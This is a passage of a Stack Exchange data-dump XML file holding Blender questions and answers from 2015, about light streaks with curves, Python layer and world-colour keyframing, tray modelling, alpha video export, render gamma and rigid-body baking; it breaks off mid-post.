  <row Id="34377" PostTypeId="1" AcceptedAnswerId="34383" CreationDate="2015-07-22T14:42:09.110" Score="27" ViewCount="4981" Body="&lt;p&gt;I'm trying to make a light paths like there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MBFJj.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBFJj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this light threads (streaks) I used a particles emmiter with shining icospheres and motion blur shutter like &lt;a href=&quot;http://www.blenderguru.com/tutorials/how-to-make-sparks/&quot; rel=&quot;noreferrer&quot;&gt;Andrew&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nCylg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCylg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I wish to get full path of the light: from rising to falling.&#xA;And the second I wish to see the half circle path, but not the angle like now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I should use another way to achieve the reference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.75, Cycles&lt;/p&gt;&#xA;" OwnerUserId="8120" LastEditorUserId="3078" LastEditDate="2016-02-11T22:42:47.203" LastActivityDate="2016-02-12T01:23:32.707" Title="How can I create Light Streaks in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;path&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="34378" PostTypeId="2" ParentId="34319" CreationDate="2015-07-22T15:43:06.727" Score="2" Body="&lt;p&gt;My favorite syntax is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.layers = [ i==2 for i in range(len(obj.layers)) ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you want the flexibility of zeffi's solution&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.layers = [ i in {2,6,5,11} for i in range(len(obj.layers)) ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also just write range(20) instead of range(len(obj.layers)) assuming blender never changes the number of layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing to remember is don't try to set the layers before the object has been linked to a scene.  The last time I made that mistake my layers assignment had no effect (I assume the scene.link reset the layers value somehow; I am not sure if that has changed in recent blender versions).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-07-22T15:43:06.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34379" PostTypeId="2" ParentId="34372" CreationDate="2015-07-22T15:57:14.583" Score="2" Body="&lt;p&gt;Try to model only one half of the object, then enable the &lt;strong&gt;&lt;em&gt;Mirror Modifier&lt;/em&gt;&lt;/strong&gt; and check the &lt;strong&gt;&lt;em&gt;X&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Y&lt;/em&gt;&lt;/strong&gt; boxes under &lt;em&gt;Axis&lt;/em&gt; option (remember to have the origin point placed as pictured below). Apply the modifier when you're done with modeling. You may then add the &lt;em&gt;Subsurf&lt;/em&gt; and &lt;em&gt;Solidify&lt;/em&gt; Modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CluyK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CluyK.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily model the curved corners of a tray using the &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/duplicating/spin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;&lt;em&gt;Spin&lt;/em&gt;&lt;/strong&gt; tool&lt;/a&gt;. To make the ribs, divide the surface using &lt;em&gt;Loop Cut&lt;/em&gt; tool (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;). Select one face, press &lt;kbd&gt;E&lt;/kbd&gt; and then &lt;kbd&gt;S&lt;/kbd&gt; to scale it a bit.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0HM72.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0HM72.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the next face and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; to repeat the earlier operation. Do it with all the faces.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8NG5E.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8NG5E.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all faces and extrude them (&lt;kbd&gt;E&lt;/kbd&gt;)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NhkEK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NhkEK.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may scale them horizontally for better effect. Scale one, click the next one and use the &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; shortcut to speed up the process.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MUlNV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUlNV.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a &lt;em&gt;Loop Cut&lt;/em&gt; tool again to make the edges of the ribs sharper.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PHZIX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHZIX.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="2217" LastEditDate="2015-07-22T17:56:21.730" LastActivityDate="2015-07-22T17:56:21.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34380" PostTypeId="2" ParentId="34373" CreationDate="2015-07-22T16:52:29.463" Score="1" Body="&lt;p&gt;You cannot render with alpha straight from blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Render the frames to PNG with alpha RGBA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Open the images with Adobe Flash or any software that you can import the sequence of images (Handbrake,VirtualDub-1.9.11, Quicktime Pro) ;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Use the option inside flash:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/urF3u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/urF3u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Save to MOV with compression type like PNG;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Encode the MOV with Adobe Media Encoder mark the encode alpha channel;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DLhcX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLhcX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Import the FLV generated inside Captivate, naturally your output must be SWF not HTML5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot export sound of course cause your rendering images, that´s the only solution for now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use videos inside CP and my output is HTML5 I usually use the same background on the motion graphic and the CP background to make the course seamless. Like this screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MfWjZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MfWjZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is are a few FLV´s done using the workflow above and published as SWF (Steve Jobs moves on the grave when the word is pronounced hahaha).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FlGuP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FlGuP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15552" LastEditorUserId="15552" LastEditDate="2015-07-22T19:02:18.820" LastActivityDate="2015-07-22T19:02:18.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34381" PostTypeId="1" AcceptedAnswerId="34386" CreationDate="2015-07-22T17:03:40.887" Score="4" ViewCount="4326" Body="&lt;p&gt;I know Blender can nowadays use a proper linear workflow. The thing that is unclear to me even after reading the support documents is whether or not Blender saves the output with linear color or does it convert the PNG files to sRGB while saving them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, when I render (in this case with Cycles) a PNG sequence, are they saved with 1.0 gamma or 2.2 gamma?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15154/how-to-put-a-linear-workflow-in-practice-with-cycles&quot;&gt;This question&lt;/a&gt; is not answered in the other topic. I have read it carefully. Can you point out the exact sentence in that topic that answers if the output files are saved as linear on sRGB?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-23T10:03:11.297" Title="Is the render output linear color or 2.2 gamma?" Tags="&lt;rendering&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34382" PostTypeId="1" AcceptedAnswerId="34391" CreationDate="2015-07-22T17:07:29.250" Score="1" ViewCount="1205" Body="&lt;p&gt;I am still new to blender and am working on an animation of a light-responsive protein network in blender-python. I have been asked to create a shaded background whose color changes in accordance with the frequency of light shining on it. My question: how do I code a shaded background in python whose color I can change over the course of the animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0hHgT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hHgT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementing the basic background using Blender's UI was straight forward: add blend-sky to the world and adjust its color's accordingly (Picture 1). Using the info tab, I attempted to recreate these commands in python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.context.space_data.context = 'WORLD'&#xA; bpy.context.scene.world.use_sky_blend = True&#xA; self.world.horizon_color = (0, 0, 0)&#xA; self.world.zenith_color = (1.0, 0.0, 1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This however only results in &quot;AttributeError: 'SpaceTextEditor' object as no attribute 'context'&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I used a snippet of code from a previous answer I found on this very site (source: &lt;a href=&quot;https://blender.stackexchange.com/questions/23884/creating-cycles-background-light-world-lighting-from-python&quot;&gt;Creating cycles background light (world lighting) from Python&lt;/a&gt;), which produced a colored background but lacked the shading of the desired result (Picture 1).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; enter codbpy.data.scenes['Scene'].render.engine = 'CYCLES'&#xA; world = bpy.data.worlds['World']&#xA; world.use_nodes = True&#xA; bg = world.node_tree.nodes['Background']&#xA; bg.inputs[0].default_value[:3] = (0.5, .1, 0.6)&#xA; bg.inputs[1].default_value = 1.0e here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GVdzq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GVdzq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if one of these two methods had worked, I would still be unsure how to program a change in background color. Can I create background animations using keyframes similar to object animation?  How do I even create the desired type of background in the first place? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pictures: &lt;a href=&quot;https://imgur.com/a/IAA6G&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/a/IAA6G&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15471" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-22T19:52:25.383" Title="Creating dynamic, shaded backgrounds for animations" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34383" PostTypeId="2" ParentId="34377" CreationDate="2015-07-22T17:09:30.933" Score="35" Body="&lt;p&gt;An alternative method  would be not to use particles, and do the light streaks with curves. It might a bit more tedious to set up, but will not require as much computing power from your machine as particles do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give the curve a slight bevel and, by animating the &lt;strong&gt;Bevel Factor&lt;/strong&gt; start and  end  values, you can control how the curve is rendered through the screen . You also have control on the resolution, curvature, start and end points, and you can precisely determine the trajectory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gHnF1.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gHnF1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GJy5u.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GJy5u.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the width at different parts of the curve you can change the radius of the control points:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RATwa.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RATwa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an emissive material to it and some glow on the compositor and you can easily achieve something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1Uny7.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Uny7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you give the curve some extrusion and bevel and a wild texture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zQYCo.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zQYCo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can have a lot of fun:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fGgrV.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fGgrV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-02-12T01:23:32.707" LastActivityDate="2016-02-12T01:23:32.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34384" PostTypeId="2" ParentId="34353" CreationDate="2015-07-22T17:35:26.203" Score="0" Body="&lt;p&gt;Ok, I'm still trying to understand what you really want. I'm going to write out pseudocode for what I think the answer is, and you can comment and then I'll edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via the command line you're going to launch blender in headless mode with a blank/default blend file, and call your custom python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script will do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;import required python libs&lt;/li&gt;&#xA;&lt;li&gt;start a scene loop&lt;/li&gt;&#xA;&lt;li&gt;for the first item in the loop, clear the scene then setup the camera, and the rigid bodies objects and appropriate settings&lt;/li&gt;&#xA;&lt;li&gt;bake the rigid body sims to disk with the Bake all command&lt;/li&gt;&#xA;&lt;li&gt;Render out frames 1-500 to Video1.mp4&lt;/li&gt;&#xA;&lt;li&gt;Loop back to start next scene cycle&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this close to the workflow you're trying to achieve?&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-22T17:35:26.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34385" PostTypeId="1" CreationDate="2015-07-22T17:44:49.897" Score="2" ViewCount="158" Body="&lt;p&gt;I ran into a (to me) really strange problem. I have a camera that is located at the origin. With various constraints I animate the camera's path to be that of a kite flying an 8 shape pattern (so it does not stay at the origin, it just seems like that in the Transform panel because effects of constraints aren't taken into account quite then). I grab the camera's pose with python via &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['Camera'].matrix_world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The translation vector seems to be correct. However, when I place a second camera at the origin and move it to the location and rotation specified by the original camera's transformation matrix, the two camera poses don't quite match up as I had expected (see below, original camera selected/highlighted). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TxDuD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TxDuD.jpg&quot; alt=&quot;camera and skewed camera&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured maybe it just looks like one is askew since I couldn't see a difference in a picture taken with each camera. So I ran some tests with OpenCV trying to project some image points using the same known blender camera pose with each camera. As it turns out though, the cameras really are different. With the original, seemingly askew, camera the projection is off. What's going on here? Did I transform/deform my original camera on accident somehow (didn't even know that was possible...)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a minimal blend file, only including the necessary constraints and objects for the movement. In frame 1 I added the second camera based on the original camera's transformation matrix. I had a random noise enabled on the location and rotation of the animated camera but it's disabled in the example. I disabled it earlier thinking that that might have caused my problem. The Blender version is 2.73.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/367/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=367&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14366" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-12-14T02:58:16.560" Title="Camera object askew (does not match pose specified by its global transformation matrix)" Tags="&lt;python&gt;&lt;transforms&gt;&lt;camera&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34386" PostTypeId="2" ParentId="34381" CreationDate="2015-07-22T17:53:17.183" Score="4" Body="&lt;p&gt;The gamma of the output image depends on what the image format supports. Generally, output to PNG or JPG will result in a non-linear gamma correction (2.2). Usage of the OpenEXR format supports linear colour space, and you would keep your 1.0 gamma value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional info: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Color_Management&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Color_Management&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-22T17:53:17.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34387" PostTypeId="1" CreationDate="2015-07-22T18:07:29.323" Score="0" ViewCount="29" Body="&lt;p&gt;i'm getting stacked with this issue please help ! it's the first time i use blender i've been modeling for the first time without noticing that i have deferent color faces on my mesh without applying any material or colors !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the mesh looks unified but whene i apply unwarping i get splited surfaces and when i use ambient oclusion it apply only ont this splited face,it's realy strange please help !! here a link to my model for anyone who want to check it !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/oo4iubpe5v7n856/Body06%282%29.rar&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/oo4iubpe5v7n856/Body06%282%29.rar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RS6Qn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RS6Qn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15838" LastActivityDate="2015-07-22T18:07:29.323" Title="I get many surfaces when i Unwarp my mesh,(Only two selected)" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-22T19:10:20.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="34388" PostTypeId="1" CreationDate="2015-07-22T18:56:07.280" Score="5" ViewCount="768" Body="&lt;p&gt;I am searching for a method to remove corrupted or unused objects, without having to directly click on the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if its an unsolved bug, but currently many of my files suffering from 2 empties, that aren't in the outliner list for &quot;all scenes&quot;, but can be found in the &quot;Blender file&quot; outliner list and of course in the datablocks. Unfortunately I can not click on the objects in the Blender file list, so deleting there isn't possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know these empties were used as custom bone shapes in an armature. This armature doesn't exist anymore, so I guess both empties are trapped in my file. They are not linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I safely remove objects from the datablocks /the file, even if I don't know where they are?&lt;/p&gt;&#xA;" OwnerUserId="14527" LastEditorUserId="3401" LastEditDate="2015-07-23T07:08:29.143" LastActivityDate="2017-06-15T14:33:48.403" Title="How can I remove objects via datablocks outliner?" Tags="&lt;objects&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34389" PostTypeId="1" CreationDate="2015-07-22T19:00:06.037" Score="1" ViewCount="326" Body="&lt;p&gt;I want to make some menus (that I can call with a shortcut) that will give me shortcuts to custom brushes, scenes, layouts, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu&#xA;Custom Brush 1&#xA;Custom Brush 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&#xA;Menu&#xA;Custom Scene 1&#xA;Custom Scene 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &#xA;Menu&#xA;Custom Layout 1&#xA;Custom Layout 2&#xA;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made some menus for operators and even to do things like switch render engines, but this is beyond my understanding of python scripting.  From what I have read this has something to do with variables.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.  &lt;/p&gt;&#xA;" OwnerUserId="15006" LastActivityDate="2015-07-22T19:00:06.037" Title="Custom Menu to access Custom Brushes, Scenes, Layouts, etc" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34390" PostTypeId="2" ParentId="34358" CreationDate="2015-07-22T19:14:15.460" Score="1" Body="&lt;p&gt;Try setting the direct clamp and indirect clamp value to 3, it's in the Properties Panel/Render Properties/Samples panel.&#xA;Also try setting multi importance samples higher, it helps if you are using skybox or HDRI.&#xA;And finally try to increase your rendering samples even higher.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-22T19:14:15.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34391" PostTypeId="2" ParentId="34382" CreationDate="2015-07-22T19:52:25.383" Score="3" Body="&lt;p&gt;Here's my solution. It provides for altering the &lt;strong&gt;Horizon Color&lt;/strong&gt; and the &lt;strong&gt;Zenith Color&lt;/strong&gt;, and assumes you are using the &lt;strong&gt;Blender Internal&lt;/strong&gt; render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also allows you to provide a &lt;strong&gt;list of frame numbers&lt;/strong&gt; and &lt;strong&gt;colour values&lt;/strong&gt; for setting up &lt;strong&gt;multiple keyframes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the default interpolation type for animation curves is &lt;strong&gt;Bezier&lt;/strong&gt; which would give you smooth transitions between colors. Because you want abrupt color changes I added code to alter the interpolation mode to &lt;strong&gt;Constant&lt;/strong&gt; for the new animation curves.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scn = bpy.context.scene&#xA;world = bpy.context.scene.world&#xA;world.use_sky_blend = True&#xA;&#xA;#bgColorList[frameNumber, horizonColor, zenithColor)&#xA;bgColorList = [&#xA;[1,     (1.0, 1.0, 1.0),    (0.8, 0.8, 0.8)   ],&#xA;[15,    (0.8, 0.8, 0.8),    (0.8, 0.8, 0.8)   ],&#xA;[30,    (0.5, 0.5, 0.5),    (0.2, 0.2, 0.2)   ],&#xA;[45,    (0.8, 0.8, 0.8),    (0.8, 0.8, 0.8)   ],&#xA;[60,    (1.0, 1.0, 1.0),    (0.8, 0.8, 0.8)   ],&#xA;[75,    (0.5, 0.5, 0.5),    (0.2, 0.2, 0.2)   ]&#xA;]&#xA;&#xA;#set up all keyframes for background colors             &#xA;for bg in bgColorList:&#xA;    frame = bg[0]&#xA;    hColor = bg[1]&#xA;    zColor = bg[2]&#xA;&#xA;    scn.frame_current = frame&#xA;    world.horizon_color = hColor&#xA;    world.zenith_color = zColor&#xA;    world.keyframe_insert(&quot;zenith_color&quot;)&#xA;    world.keyframe_insert(&quot;horizon_color&quot;)&#xA;&#xA;&#xA;#modify the interploation mode of the animationt curve to be consant for immediate changes on frame entry&#xA;for f in world.animation_data.action.fcurves:&#xA;    if f.data_path == &quot;zenith_color&quot; or f.data_path == &quot;horizon_color&quot;:&#xA;        for kf in f.keyframe_points:&#xA;            kf.interpolation = 'CONSTANT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-22T19:52:25.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34392" PostTypeId="2" ParentId="34358" CreationDate="2015-07-22T20:21:05.250" Score="0" Body="&lt;p&gt;I believe this will help you: &lt;a href=&quot;http://www.blenderguru.com/articles/7-ways-get-rid-fireflies/&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/articles/7-ways-get-rid-fireflies/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try some of the clamp and glass shader suggestions in the article. Hope that helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too noisy means fire-flies FYI :)&lt;/p&gt;&#xA;" OwnerUserId="14747" LastActivityDate="2015-07-22T20:21:05.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34393" PostTypeId="2" ParentId="34353" CreationDate="2015-07-22T20:21:16.873" Score="1" Body="&lt;p&gt;I am posting a part of my code here that I believe will make sense.&#xA;After setting up the scene I do the bake_all like the below and call the render_ogl method I wrote&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    scene = bpy.context.screen.scene&#xA;    scene.frame_end = 150&#xA;    scene.rigidbody_world.point_cache.frame_end = 150 #If this is not     written the simulation ends at 250 default&#xA;    scene.rigidbody_world.solver_iterations = 60&#xA;    scene.rigidbody_world.steps_per_second = 240&#xA;    scene.rigidbody_world.time_scale = 10 &#xA;    scene.rigidbody_world.use_split_impulse = 1&#xA;    bpy.ops.rigidbody.objects_add(type='ACTIVE')&#xA;    bpy.ops.ptcache.bake_all(bake=True)&#xA;&#xA;    #Create the camera with respect to which rendering should be done   &#xA;    my_camera = createCamera('my_camera', (1, 1, 1), list_ob[0])&#xA;    set_camera_params(my_camera, render)&#xA;&#xA;    #Set lamps to see the ogl rendering&#xA;    my_lamp = createLights('my_lamp', (15, 0, 50))&#xA;    set_lights(my_lamp)    